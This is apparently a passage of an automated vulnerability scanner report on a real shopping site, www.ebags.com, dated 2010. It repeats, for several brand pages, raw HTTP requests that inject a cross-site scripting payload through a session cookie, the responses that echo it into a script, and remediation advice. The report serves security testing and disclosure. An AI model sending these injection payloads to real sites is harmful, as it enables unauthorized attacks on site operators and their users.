GET /brand/hurley HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C3e6d1'%3balert(1)//2c88207f059; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:15:09 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:15:09 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 83680
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|3e6d1';alert(1)//2c88207f059'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 93998'%3balert(1)//c9644ddb34a was submitted in the SPLITSESSION cookie. This input was echoed as 93998';alert(1)//c9644ddb34a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/ju-ju-be HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C93998'%3balert(1)//c9644ddb34a; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:15:08 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:15:08 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 68478
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|93998';alert(1)//c9644ddb34a'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 77446'%3balert(1)//b3a84a8c4d6 was submitted in the SPLITSESSION cookie. This input was echoed as 77446';alert(1)//b3a84a8c4d6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/kalencom HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C77446'%3balert(1)//b3a84a8c4d6; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:16:13 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:16:13 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 103300
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|77446';alert(1)//b3a84a8c4d6'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b6a3c'%3balert(1)//0364fe4302b was submitted in the SPLITSESSION cookie. This input was echoed as b6a3c';alert(1)//0364fe4302b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/lego HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7Cb6a3c'%3balert(1)//0364fe4302b; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:16:02 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:16:02 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 64925
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|b6a3c';alert(1)//0364fe4302b'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6682f'%3balert(1)//44af505a2a1 was submitted in the SPLITSESSION cookie. This input was echoed as 6682f';alert(1)//44af505a2a1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/lodis HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C6682f'%3balert(1)//44af505a2a1; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:15:11 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:15:11 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 112625
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|6682f';alert(1)//44af505a2a1'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7964a'%3balert(1)//73649ca36b5 was submitted in the SPLITSESSION cookie. This input was echoed as 7964a';alert(1)//73649ca36b5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/michael-michael-kors-watches HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C7964a'%3balert(1)//73649ca36b5; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:15:02 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:15:02 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 106657
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|7964a';alert(1)//73649ca36b5'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 27cfb'%3balert(1)//b526ef537e0 was submitted in the SPLITSESSION cookie. This input was echoed as 27cfb';alert(1)//b526ef537e0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/quiksilver HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C27cfb'%3balert(1)//b526ef537e0; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:14:55 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:14:55 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 59141
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|27cfb';alert(1)//b526ef537e0'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 85fde'%3balert(1)//59caba9823 was submitted in the SPLITSESSION cookie. This input was echoed as 85fde';alert(1)//59caba9823 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brand/timi-and-leslie HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C85fde'%3balert(1)//59caba9823; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:16:56 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:16:56 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 67812
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|85fde';alert(1)//59caba9823'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9b22a'%3balert(1)//865f579b997 was submitted in the SPLITSESSION cookie. This input was echoed as 9b22a';alert(1)//865f579b997 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brands/department/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C9b22a'%3balert(1)//865f579b997; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response (redirected)
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:05:04 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=BECOME01%24COUPONID%3D40959822PRODUCTID%3D; expires=Sun, 02-Jan-2011 14:05:04 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 75286
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','BECOME01$COUPONID=40959822PRODUCTID='); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|9b22a';alert(1)//865f579b997'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3122a'%3balert(1)//48b6210c93f was submitted in the SPLITSESSION cookie. This input was echoed as 3122a';alert(1)//48b6210c93f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /brands/index.cfm HTTP/1.1 Host: www.ebags.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: RES_SESSIONID=777179002994671; fsr.s={"cp":{"SourceID":"BECOME01$COUPONID=40959822","Splitsession":"STT=ST1|TAT=TT2|","IPAddress":"174.121.222.18"},"v":1,"rid":"1293371750928_590395"}; __cmbU=ABJeb1_iAcEJev5xm-1Yx5FetliJtSAzPLTSaRY3tUw6cenBViNHU0bRyL9i7baplUOkPb-r_gQxunaVoLdpuHy1EmiFf-G6rA; CFTOKEN=39324650; ResonanceSegment=1; ACCT=guest; fsr.a=1293371749552; s_sq=%5B%5BB%5D%5D; SOURCEID=BECOME01%24COUPONID%3D40959822; mbox=check#true#1293371804|session#1293371743230-938821#1293373604|PC#1293371743230-938821.20#1294581345; s_campaign=BEC; __cmbTpvTm=1807; __cmbDomTm=0; s_cc=true; SPLITSESSION=STT%3DST1%7CTAT%3DTT2%7C3122a'%3balert(1)//48b6210c93f; s_vi=[CS]v1|268BA4B985158567-40000174A03200FA[CE]; CFID=495108; RES_TRACKINGID=565817218041047;
Response
HTTP/1.1 200 OK Connection: close Date: Sun, 26 Dec 2010 14:06:47 GMT Server: Microsoft-IIS/6.0 ETag: "" X-Powered-By: ASP.NET P3P: CP="ALL DSP COR LAW PSAa PSDa IVAa IVDa CONa OUR DELa IND UNI STA" Pragma: no-cache x-version: 10.05.0159.0000 Set-Cookie: ACCT=guest; path=/ Set-Cookie: SOURCEID=XSEOGOOG01; expires=Sun, 02-Jan-2011 14:06:47 GMT; path=/ Expires: -1 Cache-Control: no-cache, no-store, must-revalidate Content-Type: text/html; charset=UTF-8 Content-Length: 280168
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <link href="http://a1512.g.akamaitech.net/f/1512/124/1h/ ...[SNIP]... <script type="text/javascript"> FSR.CPPS.set('SourceID','XSEOGOOG01'); FSR.CPPS.set('Splitsession','STT=ST1|TAT=TT2|3122a';alert(1)//48b6210c93f'); FSR.CPPS.set('IPAddress','174.121.222.18'); </script> ...[SNIP]...
The value of the SPLITSESSION cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 78da4'%3balert(1)//4158ffbec4e was submitted in the SPLITSESSION cookie. This input was echoed as 78da4';alert(1)//4158ffbec4e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
